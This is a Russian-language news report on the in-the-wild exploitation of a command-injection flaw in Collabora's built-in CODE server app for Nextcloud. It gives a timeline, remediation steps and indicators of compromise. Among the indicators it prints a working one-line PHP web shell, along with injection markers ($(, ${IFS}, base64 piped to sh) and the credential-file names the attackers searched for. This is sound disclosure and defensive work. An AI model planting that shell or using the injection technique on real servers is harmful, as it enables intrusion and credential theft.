Хакеры создали бэкдор на серверах Nextcloud, используя критическую уязвимость во встроенном приложении CODE компании Collabora.

[zender]

Злоумышленники воспользовались уязвимостью в дополнительном приложении Nextcloud, Collabora Online - Built-in CODE Server , чтобы внедрить веб-оболочки на серверы Nextcloud. Три администратора сообщили об этой проблеме на GitHub , первая зарегистрированная атака произошла 10 сентября.


Веб-оболочка — это небольшой файл, который выполняет любую команду, отправленную злоумышленником через веб-запрос, с правами учетной записи веб-сервера. Уязвимость позволяет неаутентифицированному запросу выполнить команду на сервере, но только когда локальный сервер документов приложения не запущен, например, во время перезапуска или обновления, или после сбоя.


Компания Collabora исправила эту ошибку в версии 26.4.303 от 11 сентября, а 14 октября опубликовала уведомление с идентификатором CVE-2026-110447 , предупреждая, что выключение приложения не помогает: его необходимо обновить или удалить.

Кто затронут​

Приложение, опубликованное компанией Collabora под названием пакета richdocumentscode, загружает копию Collabora Online Development Edition (CODE) и запускает её на самом сервере Nextcloud.


Это позволяет Nextcloud Office редактировать документы без отдельного сервера Collabora. В описании в магазине указано, что он предназначен «для локального тестирования и непроизводственного использования» и «для личного использования или для небольших команд».


В уведомлении Collabora говорится, что проблема затрагивает все версии до 26.4.303 и что автономные серверы Collabora Online не затронуты. В предупреждении, опубликованном на форуме сообщества Nextcloud 3 октября, указывалось, что установка не затрагивается, если используется только приложение Nextcloud Office (richdocuments) без встроенного приложения, независимо от того, работает ли сервер Collabora в Docker, из пакета Linux или у хостинг-провайдера.

Скрипт proxy.php приложения запускает локальный сервер CODE всякий раз, когда поступает запрос, и при этом ничего не прослушивается. В версиях до 26.4.302 скрипт помещал текст из запроса, включая его путь, внутрь команды bash в двойных кавычках, где оболочка по-прежнему выполняет все, что написано как $(...).

Запрос, содержащий скрытую в пути команду, выполнял эту команду от имени пользователя веб-сервера. Поскольку скрипт формирует эту команду только тогда, когда это необходимо для запуска сервера, атака работает только тогда, когда сервер недоступен, например, во время перезапуска контейнера, обновления или сбоя.


Этот скрипт представляет собой обычный PHP-файл, который веб-сервер запускает непосредственно из папки приложения и не загружает никакой код Nextcloud.


«Для решения проблемы недостаточно просто отключить приложение; его необходимо обновить до версии >= 26.4.303 или удалить», — говорится в сообщении компании Collabora.


Для исправленных версий требуется Nextcloud 30 или более поздняя версия .


Поддержка Nextcloud 29 и более ранних версий прекращена, и в App Store по-прежнему доступна затронутая версия, поэтому пользователям следует обновить Nextcloud или удалить приложение. Исправление Collabora для отдельной уязвимости внедрения команд в том же скрипте, CVE-2025-66208 , обнаруженной в декабре прошлого года, не предотвращает эту уязвимость.

Что сделали нападавшие​

Первое сообщение поступило от администратора, который размещает несколько серверов Nextcloud и написал на GitHub, что серверы были взломаны ещё накануне. Журналы доступа с двух из них показывают запросы в 19:51 10 сентября и 09:56 11 сентября (UTC+2), оба с одного IP-адреса и оба направлены на proxy.php?status с командой оболочки, скрытой в пути запроса. На всех серверах администратора работала версия 26.4.302.


Команда декодировала однострочный PHP-код веб-оболочки в папку приложения и попыталась отправить вывод команды uname -a сервера на адрес webhook.site. На одном из серверов злоумышленник затем использовал оболочку для поиска хранилищ учетных данных и криптовалютных кошельков, включая файлы *.kdbx, wallet.dat и keystore.json с именами, такими как bitwarden, 1password, .bitcoin, .electrum, .monero и .ethereum.


Проверенные запросы не выявили команд, которые архивировали, загружали или копировали файлы, но все, что может прочитать учетная запись веб-сервера, следует рассматривать как потенциально уязвимое, написал администратор.


Два других администратора сообщили о том же на своих собственных экземплярах. Один обнаружил шелл, когда проверка целостности Nextcloud выявила новый PHP-файл, а другой узнал о взломе из электронных писем о неудачных попытках ввода sudo на сервере. Ни в одном из отчетов не показано, что злоумышленник получил root-доступ.


После обновления до версии 26.4.303 один из пользователей зафиксировал ещё одну попытку атаки 14 сентября со второго IP-адреса с аналогичной полезной нагрузкой. Запущенный сервер CODE содержал текст атаки в параметрах запуска, но новый файл оболочки не появился. «Вывод выглядит пугающе, но должен быть безвредным», — ответил mmeeks, представитель проекта в этой теме, посоветовав пользователям обновить систему и удалить все оставшиеся файлы shx*.php.


В записи CVE уязвимость описывается как «использованная в реальных условиях в сентябре и октябре 2026 года». Количество затронутых серверов неизвестно. «Это затрагивает только версию для разработчиков и только в этом (довольно редком) режиме развертывания встроенного сервера CODE, который загружает локальный образ приложения», — написал mmeeks.

Что делать дальше?​

Что делать по порядку:

1. Обновлять richdocumentscodeПриложение, которое отображается в списке приложений Nextcloud как Collabora Online - Built-in CODE Server, должно быть обновлено до версии 26.4.303 или более поздней, либо его следует удалить. Отключение приложения в Nextcloud не устраняет уязвимость.
2. В Nextcloud версии 29 или более ранних, где невозможно установить версию 26.4.303, обновите Nextcloud или удалите приложение.
3. Если вы уже обновились, найдите shx*.phpфайлы, начиная с apps/richdocumentscodeи удалите их. Затем проверьте журналы доступа как минимум с 10 сентября. proxy.php?statusзапросы, путь которых содержит %2e%2e, $( или ${IFS}и ищите sudoпопытки со стороны учетной записи веб-сервера. Рассматривайте все, что может прочитать эта учетная запись, как потенциально уязвимое, как и советовал первый автор сообщения.
4. В версии 26.4.402, выпущенной 24 сентября, команда запуска была переписана таким образом, чтобы каждый параметр передавался в качестве отдельного аргумента, однако администраторы сообщают, что на некоторых системах запуск или открытие документов не удается , и они вернулись к версии 26.4.303, которая, согласно рекомендациям, является исправлением. По состоянию на 14 октября более новых версий не появилось.

Показатели из журналов администраторов:

• Файл : shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php и shxf4645.phpнайдено в apps/richdocumentscode/на серверах первого репортера
• Файл : shx13a86.php, обнаружено вторым администратором (местоположение не указано)
• Файл : shx56367.php, имя, указанное в попытке от 14 сентября, в результате которой файл не был создан.
• SHA-256 : 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562однострочная оболочка <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
• Путь : /apps/richdocumentscode/proxy.php?status
• IP-адрес : 139.28[.]18[.]122(Теракты 10 и 11 сентября), 89.38[.]98[.]50(Попытка взлома сервера, обновленного 14 сентября)
• Маркеры запроса : %2e%2e, $(, ${IFS}, и base64 -dпо трубам sh, всё в пути запроса
• Домен : webhook[.]site, общественная услуга с идентификаторами обратного вызова 45060ed4-de0b-4119-8f0d-2a2776bbd413 и 774cf5e1-b5a4-4174-a1ad-0241861029a2

Исправление, выпущенное без предварительного уведомления о безопасности.​

Изменение кода, устранившее уязвимость, находится четвертой строке . на proxy.phpКоманда запуска теперь передается в bash в виде одного экранированного аргумента, а не строки в двойных кавычках, поэтому оболочка, которая ее получает, больше не раскрывает текст из запроса.

В записи коммита репозитория указано, что изменение было внесено 20 августа Каоланом Макнамарой, который также опубликовал рекомендацию под заголовком «упорядочить способ сборки команды запуска coolwsd». Этого изменения не было в версии 26.4.302, выпущенной 31 августа, и оно было зафиксировано 9 сентября. Первая зарегистрированная атака произошла 10 сентября, а версия 26.4.303 — 11 сентября, при этом в примечаниях к выпуску упоминается только сборка CODE.


Администратор, сообщивший об атаках, отключил приложение, ожидая исправления, но, как теперь говорится в уведомлении, этого недостаточно. В обсуждении mmeeks посоветовал пользователям обновить приложение, пообещал «в скором времени появиться новые обновления» и указал на «огромную задержку» в базе данных уведомлений GitHub, сославшись на сообщение от июня, в котором GitHub заявил, что обработка запросов отстает на несколько недель.


3 октября один из участников форума сообщества Nextcloud предупредил других пользователей о необходимости немедленного обновления, поскольку уязвимость «уже используется» и «никаких предупреждений или CVE опубликовано не было». CVE и уведомление появились 14 октября. В уведомлении в качестве автора сообщения указан пользователь GitHub wwwshellcodeit, и ни в нем, ни в обсуждении не указано, когда именно поступило сообщение или когда Collabora узнала, что это изменение является исправлением безопасности.

Источник